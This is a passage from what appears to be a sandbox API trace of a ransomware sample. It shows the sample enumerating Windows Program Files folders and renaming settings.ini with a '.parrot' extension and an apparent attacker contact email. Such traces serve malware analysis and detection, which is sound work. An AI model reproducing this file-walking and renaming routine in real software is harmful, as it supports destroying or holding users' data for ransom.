ftCreationTime.dwLowDateTime=0x371ebb83, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x371ebb83, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37211ce1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="(144DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0245.296] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.296] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.297] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a640bd5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a640bd5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0245.297] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.297] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.297] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2a5f4919, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0245.298] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="CALEND~1.GAD")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="CPU~1.GAD")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="CURREN~1.GAD")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenter.Gadget", cAlternateFileName="MEDIAC~1.GAD")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="PICTUR~1.GAD")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="RSSFEE~1.GAD")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="SLIDES~1.GAD")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 0 [0245.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b958 | out: hHeap=0x5b0000) returned 1 [0245.298] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0245.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0245.298] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x445c38e0, ftCreationTime.dwHighDateTime=0x1d5407a, ftLastAccessTime.dwLowDateTime=0x73a3a840, ftLastAccessTime.dwHighDateTime=0x1d59cfa, ftLastWriteTime.dwLowDateTime=0x73a3a840, ftLastWriteTime.dwHighDateTime=0x1d59cfa, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1 [0245.299] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.299] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0245.300] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.300] ReadFile (in: hFile=0x258, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f4b4*=0x50, lpOverlapped=0x0) returned 1 [0245.300] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\settings.ini" (normalized: "c:\\program files\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\settings.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\windows sidebar\\settings.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3279e80 | out: hHeap=0x5b0000) returned 1 [0245.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0245.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3279dc8 | out: hHeap=0x5b0000) returned 1 [0245.307] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0245.307] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.307] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.307] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.307] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.307] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0245.307] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0245.307] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.307] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0245.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9678 | out: hHeap=0x5b0000) returned 1 [0245.308] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0245.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0245.308] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa896430f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa896430f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa898a46f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168400, dwReserved0=0x0, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1 [0245.308] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0245.308] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e3a27c0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1e3a27c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.308] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0245.308] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0245.308] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x445c38e0, ftCreationTime.dwHighDateTime=0x1d5407a, ftLastAccessTime.dwLowDateTime=0x73a3a840, ftLastAccessTime.dwHighDateTime=0x1d59cfa, ftLastWriteTime.dwLowDateTime=0x73a3a840, ftLastWriteTime.dwHighDateTime=0x1d59cfa, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1 [0245.309] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa43ea070, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa43ea070, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0bf9b70, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bf9b70, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0b3b490, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b3b490, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9fb762d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fb762d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa0b15330, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b15330, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0bad8b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bad8b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0bd3a10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bd3a10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xa163da50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa163da50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0b87750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b87750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, 